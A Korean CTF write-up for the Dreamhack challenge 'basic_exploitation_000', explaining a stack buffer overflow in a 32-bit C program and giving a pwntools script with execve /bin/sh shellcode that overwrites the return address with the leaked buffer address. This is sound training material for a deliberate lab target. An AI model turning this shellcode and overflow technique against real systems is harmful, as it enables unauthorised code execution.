문제

 

 

 

 

 

풀이

제공된 파일: basic_exploitation_000 / basic_exploitation_000.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

제공된 코드에서 취약점을 찾아보자.

main에서 buf의 크기는 128바이트이다.

그런데 scanf에서 141바이트의 데이터를 읽어와 buf에 저장하도록 하고 있다.

여기서 BOF(Buffer Overflow) 취약점이 발생가능하다.

 

 

 

basic_exploitation_000 실행 파일을 디버깅해보자.

<main+3>을 보면 esp를 0x80만큼 빼주고 있다.

SFP와 스택에 할당된 공간의 크기를 합하면 132(4+128)바이트가 된다.

 + 참고) 이번 문제는 32bit 아키텍쳐 환경이므로 4byte 단위로 데이터를 처리함.

 

ret전까지의 공간이 132바이트로 넉넉하게 있기 때문에 해당 영역에 셸코드를 작성하여 실행할 수 있다.

셸코드와 임의의 데이터를 합해서 132바이트 크기로 만든 후 buf에 저장하고, buf의 주소를 ret 덮어씌우면 셸을 실행할 수 있다.

 

 

 

26바이트 길이의 셸코드를 찾은 후 exploit코드를 작성해봤다.

from pwn import *

p = remote("host1.dreamhack.games", 13329)
context.arch = "i386"

p.recvuntil("buf = (")
buf_address = int(p.recv(10), 16)
p.recvuntil("\n")

payload = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += "\x80"*106
payload += p32(buf_address)

p.send(payload)
p.interactive()

 

 

 

 

 

느낀점

시스템 공부를 할 때마다 느끼는 거지만 메모리 구조가 항상 헷갈린다.

pwntools를 능숙하게 사용하는 것도 좋지만 메모리 구조를 더 확실하게 공부해야 할 것 같다.

 

 

 

 

 

복사했습니다!